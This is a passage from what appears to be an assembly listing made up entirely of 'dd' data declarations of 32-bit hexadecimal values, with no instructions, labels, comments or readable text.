0CFBF5EA1h dd 7DF9BE49h, 296DD5A5h, 4C88E984h, 0BFE8E4h, 27CF6CADh dd 1A43BB53h, 69909976h, 0BE381C0Bh, 18C87DDEh, 0D90B40F8h dd 0D7FA89D1h, 0B0DE1F29h, 155DEDC0h, 683F09CAh, 96B33756h dd 0B321FFCCh, 0F99C5D8Fh, 8D65BF7h, 1DE3621Dh, 4D0C52D8h dd 8D7D25B0h, 0FC951D70h, 65689503h, 0E426B2Dh, 5B934FDh dd 12E5BE56h, 9301AE0Ch, 79F5382Fh, 1301AA42h, 0FFC49DCAh dd 0E02FB90Fh, 4956641Bh, 50448EAAh, 0F19538D5h, 0C808C93Dh dd 5FBE80FCh, 0BF32800Ah, 1AF16F02h, 42F7318Bh, 12BA27Bh dd 0F34841C6h, 0D8305C00h, 68F2FEBDh, 38742FE6h, 0D9681656h dd 83B76077h, 5B286452h, 95742Dh, 0AD7B35E9h, 96A47C9Bh dd 0BBE9E5D9h, 94D4AFA3h, 0AFF6189Ch, 74529268h, 21E5173Ah dd 0B7B60BAAh, 3827AB74h, 805DB5ACh, 39074FBBh, 0D809707Ah dd 17BE1AC3h, 0AC61B318h, 0D6907377h, 64DB3925h, 0B0B775Bh dd 82FB850Fh, 0A67A65F7h, 18580861h, 7FC18809h, 85C92CD3h dd 9DEA71E0h, 0AECE40B3h, 272F4A09h, 983C229h, 2F294508h dd 479B0655h, 0D07895DDh, 0D04E72F0h, 0ECC8F5BCh, 391D2E0Dh dd 5862D4FEh, 0E6BF3119h, 18E9B0Bh, 0B278B353h, 0B3E0C229h dd 6340F3E9h, 3F41DCBDh, 217FF52Dh, 0B3BFE99Ah, 926FA7B7h dd 350025C6h, 75913D5Ah, 893A0F4Fh, 0CFE90E4Dh, 0EE80CE21h dd 30F0C1F2h, 38BF57F7h, 5AD36835h, 0E03CCD30h, 190233EEh dd 0CD2ECE05h, 80895021h, 97DBE907h, 0C6884202h, 971A9655h dd 2C859557h, 349E12DFh, 0BB94430Ah, 2DEB0EF4h, 0E4E1D3FAh dd 3F1C7532h, 2CA534F3h, 0E92E51B1h, 7DA5472Ah, 7C605F6Ch dd 75F58127h, 98F2D39h, 0F40CB7D0h, 1A310E10h, 762C00DEh dd 39EF2D44h, 889D368Eh, 5D160773h, 3E3326BEh, 384DF504h dd 0ACB11FE3h, 7E3D043Bh, 0CCEF12B2h, 644E0347h, 0F6684D20h dd 1CE63698h, 0AF205ACFh, 81B80403h, 0AE8C0E8Dh, 0B6AE84C5h dd 32FD5EACh, 0AFF8E985h, 0E37E1E29h, 0B4E91AC8h, 0E5FA5593h dd 380FEA2Dh, 0B75EF2DEh, 759C3F40h, 8C3A6527h, 0B8841239h dd 994B5059h, 5802FC24h, 31E215Fh, 1818D847h, 0FD127DBDh dd 40AA4D6Fh, 70BCD436h, 0EF4B3197h, 0AC208744h, 26CA8003h dd 88C9F298h, 5420D37Dh, 0F1810252h, 86CA312Bh, 0DE1267D4h dd 0A22A7FB1h, 93C1B14Ah, 1F3B224h, 0BE162108h, 0DE9E2995h dd 5FA709D5h, 1DA1B4A2h, 0CC847D09h, 0F2E7EE8Fh, 0EFF93A13h dd 52E57089h, 0AA37123Ah, 60B007F4h, 8AF28D6Dh, 30481018h dd 5492545h, 18EA590Fh, 4ED9B88Dh, 5040AF3Dh, 0B10DE4AAh dd 9631C2DEh, 0AE3EC47Eh, 0C2E411B8h, 59DE9754h, 5F23E253h dd 6C5DEC89h, 0E88931AFh, 0CAE9C556h, 9F0050h, 452235DDh dd 6E7660F7h, 4FFE2E94h, 0C0012AD3h, 7A5564D8h, 1F07AE41h dd 0BC840DC5h, 81C7E8C3h, 5827227h, 3244DD80h, 0A16F5BECh dd 7D876FA0h, 0C2705460h, 0C8312755h, 504F496h, 0ED85AD1Eh dd 3BF10C2h, 8B9EB80h, 62622FDAh, 1B570C0h, 0CAEF8147h dd 0F0AFAAECh, 689921B1h, 84595689h, 0B8F4957Dh, 80EA00D0h dd 0B753B1C2h, 0FA2C2810h, 6A28395Bh, 0C13C3E1h, 3C281DFFh dd 0B4E0F855h, 5D5E0032h, 0DBF7D987h, 3C4908DFh, 810276ABh dd 287BB551h, 0ACBCF3E8h, 31AB4A0Ch, 8CA4E6D7h, 6AEEADFh dd 0B1511A7Fh, 0F6609CFCh, 7A2DE9CAh, 4E0EC886h, 0EA8180BBh dd 945B5A09h, 829FF270h, 41475908h, 383E92E9h, 4133C94Ch dd 0F52FBF1Ch, 10803E24h, 0B85059h, 22B2145Ch, 0F9734005h dd 8D0D203Fh, 0C278F45Bh dd 7EABD4h, 22F22D1Ah, 0D4E943D9h, 3AAC495Ah, 0CDDABBF4h dd 0C86A1D09h, 6F163D7Ch, 9F856ABDh, 0E071BB42h, 79111FD2h dd 14FE04A1h, 3617E02Fh, 0F9080112h, 26941828h, 466801D7h dd 583FFC59h, 2181046Ah, 58A8BAF9h, 0DD068E0h, 53C450BEh dd 0C38B94E9h, 7C099C74h, 0C844FFE5h, 545D5425h, 70495A97h dd 58416C8Eh, 40EC5A2Bh, 6D4E8DA8h, 0A3EB0134h, 16594304h dd 0E16223D3h, 3AE0E18Ch, 0C75E946Fh, 0FAEF70BFh, 0FCBA88E9h dd 8024DDE6h, 0EE1280C5h, 0D3C904FFh, 0D75D09F0h, 0F74B8265h dd 0EBE97468h, 0BA2D139Fh, 255D010h, 5266F828h, 5560B050h dd 0F4B5C0B2h, 6E8569BFh, 0A7E4EB9Ah, 0CD085842h, 0EC58C212h dd 25F1A0D0h, 291D2538h, 806BC67Dh, 5B6FE90Ch, 3EB9A3D3h dd 1C53DB82h, 0AEDF7FD1h, 7902B32Eh, 0FE686340h, 5ECC9535h dd 30BC790h, 0D6314A1Fh, 0FEE989C6h, 0D20902AFh, 0A2674484h dd 9CB49263h, 85416Ch, 3627BBA9h, 7009B227h, 0AA9926A9h dd 1CF92D1h, 726E205Fh, 87AEF47Bh, 1601A599h, 49700B21h dd 19068060h, 0C812233Eh, 0DE130432h, 14499414h, 24DDD3Dh dd 7F040592h, 96377837h, 5705A587h, 0B5C4FA6Ch, 9566E7AEh dd 6CBF5F5Fh, 0CEBF5CBFh, 4E652B40h, 71A10CB2h, 0A2B65D10h dd 0DE456809h, 51E96245h, 0EDC094ABh, 9FD3612Ah, 600E5C4h dd 0B026CBB2h, 0ECC84C29h, 2F336E10h, 8C8CF658h, 0C02EF7BAh dd 0FE6253B0h, 6A8E98ECh, 8CE141CDh, 0BB03056Ah, 0D62BF902h dd 898D9A0Ch, 338117FBh, 2A7407D2h, 204F705Bh, 43F0525Ch dd 494E7C95h, 0C0FEA6C0h, 0E2DF71BFh, 64D5067Ch, 4E086459h dd 32CBFE44h, 55C8501h, 1542946h, 0A4CBA52h, 0AAE91908h dd 0D9416CA5h, 71D5D66Ah, 9E52ADE4h, 5FC1EECBh, 22818048h dd 0E810BD2Fh, 7A5E1445h, 0FE092DCCh, 0E6C01E54h, 0D3F51C0h dd 4D18E97Ch, 89A06A4Eh, 0D6F73003h, 1A2AD596h, 89B0EB4Ah dd 3FF55821h, 0EBABE5B5h, 0EEB39F8h, 16FBE75Eh, 0B5E5BCF8h dd 51A9EAECh, 30C301EDh, 0B340CC59h, 6FB00BBAh, 85FF6D61h dd 0A7B809B0h, 77232B6h, 0B71F5082h, 7982D80Eh, 1EE115B4h dd 2D2036B9h, 9FA1F0D2h, 0E6C32A30h, 7D684625h, 3083D28h dd 0EF4CE957h, 1DBD4406h, 20488404h, 68277FF2h, 0FAA9C68Ch dd 0CCBA5FA6h, 79654597h, 8260B920h, 0CF932F0Ch, 0EF0ACFF8h dd 98591308h, 6D413F83h, 0E7AF7ECh, 924FA6Eh, 187F5F69h dd 90D02905h, 0D0314A1Ch, 4F2D472Ah, 4B2F057Bh, 9D5B1C7Dh dd 537E024Ch, 3BEC08D6h, 0F9DD784h, 74F7D25Dh, 0AE60E984h dd 1AC15027h, 888302ADh, 73156491h, 0F9378A0Eh, 0A40EA339h dd 5CC08C84h, 9FDE2958h, 0DA09DB96h, 72EC711h, 0CC40AEBFh dd 4B96E902h, 58BB305h, 0ADA68C2h, 5EE91D43h, 0B0F35BE3h dd 74F68BBh, 0AEFCC217h, 5EACAFB4h, 132CB2h, 0FE5D7CC6h dd 3F6BE928h, 0A7EEE9C0h, 941F790Dh, 3D86B9E8h, 0C7DDF5Ah dd 821EFA01h, 69D1E936h, 68A7202Fh, 19932075h, 9B9E308h dd 7985E8C1h, 5C62A02Bh, 10722C3Ch, 68090C3Bh, 0A4712132h dd 76154080h, 48EFC141h, 0B00E1D02h, 0E9E2A282h, 9071345Ah dd 0A1685382h, 0BB459002h, 0AD6FE139h, 7F5BA2E9h, 0C6026EF3h dd 5D65441Eh, 90E257E8h, 0AA11317h, 9ABD8F60h, 1228E478h dd 0F191E94Dh, 1DD2ECBCh, 420C882Fh, 0CDA8DF16h, 22DD270Bh dd 0FA90501Eh, 0A34430ADh, 694FF83Fh, 7E4131E3h, 500545E9h dd 0E083D20Ch, 0C6B229C4h, 0C6CE4A20h, 0E92B4F0Ch, 3924E37Dh dd 7440568Fh, 130590Dh, 0B9BB5356h, 0CB3BC122h, 9CE906E8h dd 29176EB6h, 449C881h, 8AF76Ah, 0C9FE57B1h, 0B803E9C0h dd 0A0C9E98Fh, 8B7436Bh, 26D91D05h, 8DFD6B7Bh, 0BAC68117h dd 0D7994856h, 2258ED2Bh, 0F65A2474h, 0A1BA12F0h, 55E2C2h dd 9662863Dh, 138B82EBh, 717DA789h, 26C6C9C7h, 750DBF09h dd 21D29B9h, 0DC9545A1h, 0F1D47A45h, 6160605Ah, 51DB3064h dd 0D532018Ch, 77B10A5Bh, 5138504h, 0B74DA5E0h, 0F9D2A9A2h dd 54685202h, 5E7462A0h, 39686C76h, 3E23AE3Eh, 24382D8Eh dd 0D6F1579Fh, 0E85D0703h, 4F235177h, 8AB9E03Ah, 4404740h dd 62DEF005h, 2A08F9FCh, 3CF19448h, 9BA4E5Dh, 47755BBEh dd 59E9859Ch, 7710B9ABh, 3F93B36Ah, 60264202h, 6FC8336h dd 0FCBB845Ch, 0E6BEB4A3h, 8216926Eh, 0F3FC5817h, 9C2EE9B0h dd 5D72FEB6h, 530083D4h, 12D1BE56h, 0C9754BBDh, 0A30BF8FFh dd 0C565BC96h, 64F7D9A9h, 2FDFB1BDh, 781093F6h, 102448C8h dd 4A506739h, 20ADD51h, 0E823B0CBh, 1EE6E840h, 0E97F2CECh dd 0B2CE0297h, 4A8ED846h, 9D6F1C50h, 0C3A8FAD8h, 4F0620CBh dd 594A5A25h, 240118A1h, 2D04C829h, 0CDE0418h, 12CBA9F0h dd 345D616h, 68E5E905h, 0F1958778h, 97FA7AFh, 0E2F63B1Dh dd 0BA2EA21h, 0DB426B88h, 4047486Ch, 0A4BEE712h, 0B4E6E18h dd 9D584FA4h, 0A9245270h, 3F40E498h, 0FF7B8505h, 95A57EF0h dd 9F49D9AFh, 96094A5Ah, 0D655EE36h, 4A08A0DEh, 0C138F258h dd 88BF801h, 0EA5844A5h, 802132B7h, 2F882D73h, 61415BBFh dd 176EFFFh, 447FF8E9h, 1751C662h, 898809AEh, 4C76A5Dh dd 0B00782ECh, 6CAC72A3h, 9BD7B65Fh, 0FF3581FCh, 6B4F052Fh dd 0A2CE96F5h, 7CC8018Ch, 205713DFh, 0B41F279h, 4A0A1504h dd 1CC0D2F7h, 16E08246h, 82D4E9B8h, 656B3FDh, 0DD584225h dd 616B936Eh, 89E75CBh, 17846620h, 0CC1F6268h, 7B124082h dd 1F031110h, 95C00C67h, 9E351691h, 82EFDC9h, 0E620E483h dd 435A4631h, 0A82B58C2h, 11257C33h, 260C90C5h, 0E9224F05h dd 3E0841FBh, 0C5C529ECh, 0DC94BC02h, 0F925E82Dh, 5FD19F50h dd 0CE90258Bh, 26459703h, 506BD5A6h, 0A690275Eh, 193F3DC7h dd 0F52D3DC9h, 0B36899DDh, 2B67BB03h, 8DD1218Ch, 6969D0h dd 3F322479h, 49D3F74Bh, 0C0C5743h, 5A3E3EB1h, 8D8D60B4h dd 122F594Eh, 0BD85BB89h, 6A369A04h, 0E2B424BBh, 5A3B102Dh dd 0E9532881h, 2896841h, 2093F380h, 8BD8C1DDh, 0BB07EE04h dd 1534CBAh, 89107FD1h, 0CB14BE5Ah, 55EA23ABh, 515D30FAh dd 1ADA2153h, 5E559196h, 0BD3C954Bh, 66CE8802h, 3C408659h dd 74BF9301h, 2260CB20h, 1AC07B2Ah, 0D1036A68h, 5AC3F457h dd 7EE1F30Ah, 657DBD0Ah, 951CC919h, 585DFC2Dh, 0F5046851h dd 59426B38h, 7D04EAF2h, 82F13BAAh, 0F1D14F86h, 68EF5B12h dd 7541B3FFh, 3FAB4082h, 7E579736h, 92100B55h, 5DEE2F22h dd 0FE0B0D47h, 2F17E460h, 54C414F7h, 2F467C20h, 0B5F6F330h dd 0DC908352h, 813E4FD4h, 220187Eh, 0E48BC05Bh, 50B75864h dd 8807E212h, 7C137616h, 15332E1h, 9BB41601h, 3B38751Dh dd 299AF04Eh, 5914201h, 44155335h, 0F61A7AD4h, 2DC7A14Eh dd 115A0747h, 81E5E91Ch, 6638B60Dh, 7E66C03Eh, 29F47B0h dd 79FAABEh, 115FF0BDh, 0D49D4D59h, 293483EDh, 0CDB06301h dd 18386CFBh, 36BF9357h, 80280B0Fh, 8F5B1FEFh, 0E4F775Eh dd 4B2EF4E7h, 1240F652h, 5D425336h, 40230DBDh, 0DEB5EB59h dd 4BEA9346h, 6DA27CC3h, 0AD7E5679h, 3E55727h, 41D9DA2Fh dd 4EE3D4E4h, 8DB20AC7h, 44973FC2h, 192B20C5h, 0B4EDC128h dd 6206F535h, 0C706A4BEh, 0A9E26BEFh, 56DA2DC2h, 0D47038E2h dd 0E362882Ah, 7FA3B902h, 0F729B1AAh, 70AB79E8h, 899A09F2h dd 10343149h, 680B88BEh dd 1C713299h, 0F5982B89h, 3A6704B1h, 2D78EFE3h, 98E70B87h dd 0A4EA5DA7h, 0A8DAC5D5h, 0E0962D41h, 0B051947Fh, 3518C0B6h dd 45D77ADDh, 1AC2293Eh, 0C06F07B7h, 3EC1312Ch, 0F71A8758h dd 0CCDE08DDh, 0F928061Dh, 0F0F00198h, 88F8F35Ah, 6528FB4Eh dd 657B97E4h, 0C9A37649h, 2BF12309h, 0CBA12012h, 60B79A78h dd 8A705CCBh, 0CFD1054Eh, 5D02C947h, 0AC26A5Eh, 0C4700B92h dd 70FC244Fh, 43DC8BA2h, 0B6AB5C13h, 5CCB5F58h, 0C43DFD2Ch dd 62ECAB87h, 8B97E9E0h, 4988E7DDh, 6D2498h, 15D14EB7h dd 0D950F759h, 0B11F45A3h, 5ADEEA2Eh, 0F7D501CDh, 91640E61h dd 658B0BBDh, 410F4C5Bh, 84967384h, 60E3F530h, 4D45DAA7h dd 2D14ADD8h, 0F81517h, 0F408C151h, 82A49F94h, 0DF62A00Ch dd 12C10C57h, 86344B24h, 2D000629h, 3F597B21h, 0CF8C2EE9h dd 28DCEE37h, 23390906h, 0E5D7FB89h, 0C6C7A5B5h, 0D7374ADh dd 30E95356h, 984AC71Fh, 407354B3h, 449D54ACh, 0D11724ECh dd 2DBA8767h, 0AB774E1Eh, 91718305h, 1022F7EAh, 3024B4B1h dd 45201264h, 41F2BCC7h, 0AE4014AAh, 0E45C8B53h, 4889D454h dd 0B14B17DAh, 0FEE26EBAh, 0E9F565D2h, 6CF450EDh, 346F5B81h dd 938AEFEAh, 8994BC4Bh, 0AF88D74Bh, 0FCC802C1h, 2F7521C2h dd 67C2015h, 4C297B05h, 84093F3h, 28AEB05Eh, 0F50DB94h dd 227D73EEh, 0E6EA916Bh, 28663A61h, 0B0E65B1Ah, 0EA11E625h dd 7B847BFCh, 0E1D6ECBAh, 16963C4Ah, 16C2ED5Ch, 28BB4C30h dd 6141EE66h, 526AC231h, 97DCE483h, 0C133EF64h, 5E9FA0ABh dd 1E1260BDh, 145D8248h, 98FE9D3Ah, 0CE4BF78Ah, 0B6C05464h dd 3D685253h, 55AC0A76h, 6FEA008Ch, 0E946DCC6h, 290A345Ah dd 0C9089558h, 0A5552F73h, 0CDD0BC2Eh, 0B0D7095Eh, 32835A7Eh dd 54755206h, 0C1E9C8EEh, 6A14AB68h, 26D900A2h, 29E8C46Bh dd 0D8263998h, 5CC2F888h, 0D53357DFh, 4C57DE4Eh, 2752E9A4h dd 92D0EEB6h, 7EB5A977h, 0AFBE42AEh, 4E61E440h, 8BF6813Fh dd 5049A16Fh, 0EEC112D8h, 0FBC9EF05h, 4B01820h, 29A0625Ah dd 57F3ABDEh, 1FB7DA84h, 0BD085427h, 0CC58B012h, 4B240911h dd 880242F0h, 406EDEC6h, 86F6A29Dh, 8668660Bh, 0B228B58h dd 2183C1BFh, 5E6B9E60h, 9FA7A395h, 1CD9F68Ch, 7B6B02BFh dd 0FD31EAE2h, 0C258B056h, 0C76B05E3h, 0C4EA2963h, 0FA084942h dd 5E5DCFB0h, 0D769BF91h, 0CA0C5651h, 2B8764Ah, 594528D1h dd 0FAD38468h, 53BE2E01h, 0B76E29EBh, 0C7310E2Fh, 5FD6E9E9h dd 0B805D91Ch, 97E4F40h, 50044ECh, 23AD139Bh, 0C717082Dh dd 12BEA1EAh, 4D29F823h, 0C96ADF20h, 4AAF8048h, 0F788C6F9h dd 1A4A2828h, 4B4BDAF2h, 0BA25D1DFh, 0A1F2F458h, 523183B2h dd 0E39D13F7h, 0F0F94503h, 71317F49h, 0FC6A991Bh, 0C331B118h dd 0EFC8133Bh, 69820764h, 8ED65C51h, 62CF4F44h, 24ECD3CBh dd 6100F9BCh, 106B55Fh, 9DC2825Ch, 24290A06h, 1B4E084Ch dd 0ED54FA0Dh, 0B82D1489h, 5342EBF5h, 55C09CE9h, 51C25456h dd 535FC4B9h, 5761E721h, 2A294E68h, 0E527B2B3h, 0B6A52E8Eh dd 0F5C64149h, 9ECDFEBCh, 0ED0B470Ah, 0DCBF03ADh, 0B83C0008h dd 1CB13C6Eh, 4E0BA7BDh, 4A2930E5h, 27A354ADh, 5FEBEFF3h dd 424EE9CAh, 16035A97h, 906443E9h, 35F98B0h, 65892026h dd 15DE108h, 0B833DCBEh, 30F2F128h, 11FED3B7h, 8183F36Eh dd 9345A21Fh, 1153AB2Fh, 0EB5A7CDEh, 7953D25Eh, 0BAD3DFECh dd 3E17858Ah, 0BEEC2494h, 5D821034h, 6A225EA2h, 880C1358h dd 25B25AC0h, 96F7F7F7h, 0E504B3A8h, 6C9963FDh, 69D4BB1h dd 8AED9D06h, 94AE89E9h, 87258388h, 6D7F7009h, 0FEE99666h dd 0C5C3284Eh, 0F88A48C4h, 8E78357Bh, 3B6BF16h, 0C4534E7Dh dd 7AC2EB77h, 9733D372h, 0C289F857h, 43DDF63Eh, 50D5A11Dh dd 2C8F703Fh, 208401B2h, 8123C6Dh, 0EDB058C6h, 0C1E3E680h dd 63E9BC06h, 0C98C50CEh, 453B6E4Fh, 74F10044h, 892B4A0Fh dd 0C75958CDh, 79B87F0Bh, 702D1A03h, 42FC344Bh, 1810C2A0h dd 157E203h, 35EE9FAh, 50A5B681h, 64D774B0h, 7F4A99FFh dd 0C7808BCAh, 0CD97087Dh, 1E3AE912h, 0C528D1B4h, 0C2E0D15Fh dd 5107B5BDh, 8AC0C542h, 1917AFE8h, 0D5E03F0Bh, 66BDB44Eh dd 0C947E272h, 7855BB95h, 0ECA4E628h, 0EAEBEAD3h, 0B3B23352h dd 5884CD16h, 0A8651B92h, 1D3AF1A1h, 81700B2Fh, 282610E1h dd 290C8509h, 0C0BA0756h, 895DE591h, 7AB93B50h, 2F6F2410h dd 48546C01h, 6C96E916h, 5152046Eh, 93976768h, 5B1C1C4h dd 4AE4E22Eh, 6AC089BBh, 41A4C52Ch, 1763398Bh, 58536B0Fh dd 4A4C2F88h, 7962E365h, 6AB1454Bh, 0AB923F77h, 165365D8h dd 33121C68h, 0BDCA565Ch, 5E102260h, 0A418FD95h, 601672F6h dd 43BF5A66h, 0C25450F1h, 402D5899h, 2FE95E06h, 0E3F53B4Eh dd 576EF06Ah, 527BFC2Eh, 1EC0F4AFh, 2E1E011Bh, 8172CDE9h dd 5A06EF63h, 503A479Ah, 0E9120813h, 0FC54A537h, 0FDCC5824h dd 952AC25Bh, 7F791A98h, 0C26A5881h, 0AE7C82B8h, 9F675727h dd 536EF5A5h, 0B520EC90h, 5205012Dh, 687AA458h, 0E5CC3FEBh dd 0B404BE9h, 2B095D29h, 3AE9CAF9h, 0D4E102E2h, 20FBFA84h dd 0FBE17EE8h, 0E3681010h, 10C75A24h, 4EAD5A4Bh, 38F52B25h dd 4AC78033h, 0C962BD8Ah, 57F0B66h, 0DA1AD012h, 0A4EB4197h dd 17FEB774h, 0B0051377h, 820B5029h, 0CCFB31F9h, 0F9C895A8h dd 200319CBh, 0E6E90CB1h, 31F72646h, 96D30B1Ah, 4B68D721h dd 84A23B54h, 79C7E9C2h, 0C9BE5E57h, 0AF0BFA48h, 589253DDh dd 0B1B36FC1h, 901CD920h, 28E010E1h, 131D48CBh, 6020838Ch dd 7BA41744h, 0A7C52743h, 5D9BF448h, 354ED3Bh, 610CCECFh dd 3E0C1F6Bh, 16C5716h, 0DC104C3Dh, 0CDC575CCh, 0F4C501FDh dd 2052FED7h, 800561F2h, 0FE8828EFh, 646ADE0Bh, 14A2A00Dh dd 0AF72757h, 0E790A058h, 807DBF27h, 46A505A5h, 14F8B5ECh dd 54268E70h, 0E5021F77h, 603AD971h, 30072437h, 0EF182D8Fh dd 114CBB74h, 14500437h, 43C04643h, 79A5FA3h, 5B8BE929h dd 0ADF119FFh, 839B8450h, 70F7D802h, 80628E25h, 98407390h dd 5EB8A276h, 0BB5D16D8h, 8E005FC4h, 33414E24h, 62D180Dh dd 308B3C17h, 0E92BE809h, 5491C01Dh, 74565E58h, 6D8FEF09h dd 1F40BF02h, 0CB417F42h, 730405BBh, 0B2180B9Eh, 8880C2BFh dd 49DEFAFDh, 0BB4CE694h, 0FEBD9020h, 95D6C90Fh, 8029E961h dd 0D71627BBh, 5988EBC8h, 1B7E314Eh, 58AAE66h, 1708D7FCh dd 0FA307637h, 5B2959B3h, 5662E060h, 4B7B7697h, 0DA72ED7Ah dd 0BB2922BDh, 27BF2A58h, 0DFE3565Eh, 0D93B3B88h, 0FE58F897h dd 7C3A97CDh, 0E980830Bh, 0D3535535h, 4D931240h, 5D7D7C24h dd 662807D9h, 3B2DE6BEh, 5EBC2F0Fh, 607EF0DFh, 0F2E58F5Eh dd 7E90F747h, 0ED0A1C40h, 3DDC10E9h, 0E9014F07h, 5B8D90CAh dd 0B949429Fh, 25E5B21Ch, 16DAF828h, 2CDFF646h, 3BBAB889h dd 589393F2h, 874361EEh, 81E2074Ch, 821C5725h, 0C0FF8F70h dd 0C7042E75h, 3C31E93Ah, 198C5DBCh, 0DB7EF63Bh, 4B4A5438h dd 69A299EEh, 81558926h, 4AFB36E8h, 404B3C30h, 61EC59CCh dd 75295A4Fh, 1BB6074h, 3033444Dh, 2B01EB83h, 0B4C329F4h dd 48F34091h, 6A05206Dh, 103E684Bh, 4C0F1C98h, 0BDE2250h dd 295E87D2h, 7B09409Eh, 957E5243h, 0E963CFD1h, 0FC23516Ah dd 2D17C83Ah, 0DAAEE54Bh dd 0C2E9090Dh, 4B241329h, 6019A256h, 0E14B968Ah, 0C029546Eh dd 5B0AAA2Ch, 0DDC30852h, 5B660Eh, 20B353D8h, 7BF33F80h dd 1EA03F98h, 0AFBDC330h, 66E76608h, 0D058C09Fh, 583B016Bh dd 5D060550h, 4B0029ECh, 112D12E8h, 0BC70D406h, 68320BC0h dd 30BAF419h, 6D486B8Dh, 18EC04D0h, 4F74541h, 8087E917h dd 0D30159ABh, 0B348CA0h, 31065E27h, 0F32EB50h, 5B530C60h dd 0B6B82F75h, 571232BCh, 0ADC3F4F2h, 9A130954h, 1ECC5123h dd 0A85D2E8Bh, 43441970h, 1E66801h, 53925A31h, 0A27B565Eh dd 0EC4C741h, 1F807D19h, 0E7724ECEh, 1EF750BDh, 5D04E6C1h dd 0C8EEF7h, 9FDD064Fh, 509DF331h, 6FD820A8h, 7CAF9EB4h dd 702824D5h, 0E0AA4F27h, 0F3329540h, 888EF997h, 8A198087h dd 92AD311h, 0ABDDBA98h, 0C0CEDE0Fh, 44CE11AFh, 0F8022F98h dd 2932A0BAh, 0D3A561CBh, 715778E8h, 6A7BB5FFh, 1B927F2Fh dd 472BD175h, 5D7CCB28h, 723BB8C0h, 48471E6Ah, 44734025h dd 52552D2Fh, 803A863Ah, 0CCBA1FC7h, 0B2366CE9h, 58C22C12h dd 62462CD4h, 22F70EF6h, 5692F9D0h, 425FEB6Ch, 24A6ED08h dd 365DA581h, 686697CDh, 0F998E520h, 26167C33h, 5BA1B35Bh dd 5AC4FE44h, 0AE505C04h, 0D82460CBh, 0B8460191h, 605AED47h dd 0C2412295h, 0CBF6447Ah, 0EA29ABA3h, 9256ECF0h, 0CD74847h dd 1D3B95Bh, 4D2CBB5Ah, 836B2559h, 0D8044386h, 0D6B3E4B6h dd 61AEE1BEh, 7FAA36B2h, 334D381Eh, 0B339CF13h, 0B9A3543h dd 27A680Ah, 4B888459h, 0EBC1045Eh, 5868E05h, 0D942DADEh dd 0E9A520AFh, 0D69E3F88h, 63ACF765h, 0E66B61Ch, 0E8365AF0h dd 0A5E43F63h, 0B5EF7003h, 0DE4FF959h, 0BAB43B20h, 285E0A98h dd 9398C829h, 0D7211DC9h, 0E979E716h, 4E52524Fh, 4AC64204h dd 2016C1EBh, 0CDBE0035h, 5F5D1816h, 7EAFB601h, 2485329Eh dd 0C4C0B842h, 2D4CB4F2h, 0B3DE23BFh, 0D7140218h, 0C9C73433h dd 9DD1BEF7h, 75BF9A48h, 7CE1BD5Fh, 2EFB213Fh, 0DDAF8E7Ah dd 6875FA1Ah, 9D6EE979h, 1ECA1BAAh, 13F24D57h, 92BB3C28h dd 0EED99C13h, 6E5DAD31h, 6C5A90AFh, 0BD43935Fh, 0F95B40C1h dd 0BBFC5051h, 0E260138Ch, 0ED061F39h, 0F7409D74h, 13FB35D0h dd 0B8EDD3FFh, 0ABAC27AAh, 68162F4Dh, 95E520F3h, 0E6530F1h dd 795F2C2h, 4033625Eh, 5A1284D9h, 2E9399AFh, 0A7F2EDEDh dd 0B4EC4BD2h, 5E03A49Ch, 1436E668h, 3830AA23h, 0B5A7F72Eh dd 0D2DEB70h, 4A7AA62Ah, 0BABF63BBh, 28A613B8h, 35EA3139h dd 0BBA08D5h, 87F55573h, 0DBBB7F4Dh, 59340811h, 5C190B6Fh dd 0A76E236Ah, 5B65BAFEh, 68D6B3B5h, 0B85057A0h, 0D2444EFFh dd 0BDE9FCC4h, 3FCE4797h, 0C89975E5h, 312D262Ch, 608D7835h dd 98052816h, 9C98324Fh, 0CCB62925h, 26E52F61h, 0EAF4276Ch dd 89FA1949h, 0B66FC046h, 0B2520010h, 80DAF615h, 5C9DFBCAh dd 0EE818016h, 19C6711h, 7F8C0CC1h, 0B4933D29h, 0B824E459h dd 0C005E20Eh, 8C1E600Ah, 0FCE99D32h, 815199CFh, 0F18036B1h dd 2A57F509h, 0C44A600Eh, 27ED66ABh, 780568C2h, 90E4775h dd 16D89BE9h, 0A4105797h, 469D3EA7h, 2A7827C5h, 56FA5BEBh dd 0B73FC9D8h, 4B5E4812h, 0A3EBDE74h, 82D04B91h, 3C3093B9h dd 0ECCB798Ah, 6FC202EBh, 808675CFh, 976E53CCh, 84E91266h dd 1033A330h, 0A44F9326h, 0D9BD454Ah, 9F19BCC5h, 0F8BD3066h dd 654F422Fh, 0A60092A1h, 3EF24B6h, 0A40A3579h, 0BE94AC01h dd 0E269BFC9h, 0E680510h, 6038E380h, 0DBF601EBh, 0B1510066h dd 0E9CB3011h, 99CF8D53h, 0C60996E5h, 0F340A898h, 0FD304909h dd 0E9161EBCh, 6A4605Bh, 130C13B0h, 7E57AC7Ch, 39A5765Eh dd 25586FD8h, 0C0F41C68h, 0EE04FA93h, 29E425CCh, 75995A72h dd 10A1BD8Eh, 7F5050B5h, 9359096h, 0D65E4E4Dh, 16A025Fh dd 2EFDF9CDh, 757B0B63h, 9EB02D7Ah, 0FB0FDE4Ah, 2B85C948h dd 0CE47773Eh, 3F0BB420h, 7239D211h, 0EA37276Ah, 44F7474h dd 0B3BE4F2Bh, 29F8D266h, 12206780h, 11D1407h, 3DFD4FFFh dd 34AC016Fh, 57F716A0h, 603853E9h, 3B824E01h, 804F1FBBh dd 0ECEB810Ah, 503F4672h, 0B4F5CB29h, 43792F78h, 527DE950h dd 9203AAFDh, 17B2E51h, 149AC4B5h, 0EE4B3A08h, 0CB59328Fh dd 53A4AC59h, 0F4BBB8B6h, 9E67B2EFh, 56D43205h, 2AFDDEBh dd 0F5FC590Ch, 25232B50h, 197E3A15h, 0E401301Dh, 0B5A5E949h dd 0EE52F233h, 0FBC62917h, 7011D661h, 81F17FC2h, 6698574Bh dd 2B9D7668h, 48655FFEh, 0FD8E5098h, 779F0137h, 4DB558B8h dd 8D013AC9h, 18B11AB9h, 9D555970h, 0C5D503C2h, 8216A60Fh dd 156F380Bh, 0D7EBF96h, 33022698h, 0EF79072Dh, 0B7A86037h dd 0DDB88076h, 984A46F0h, 0EF895B81h, 0BFF68C70h, 92202545h dd 0F26B6E41h, 1BC9DF1Fh, 3C45F3Ch, 9ED6BD82h, 346BF58h dd 0E9407C0Bh, 204811CDh, 55D9252Ah, 633FE4C0h, 0BCC281C0h dd 0B5F31949h, 9E9723D8h, 688E8832h, 0E996A849h, 5CA097A2h dd 9B3EDEC7h, 3AC284Ah, 31839D25h, 3B8803BDh, 0F5058164h dd 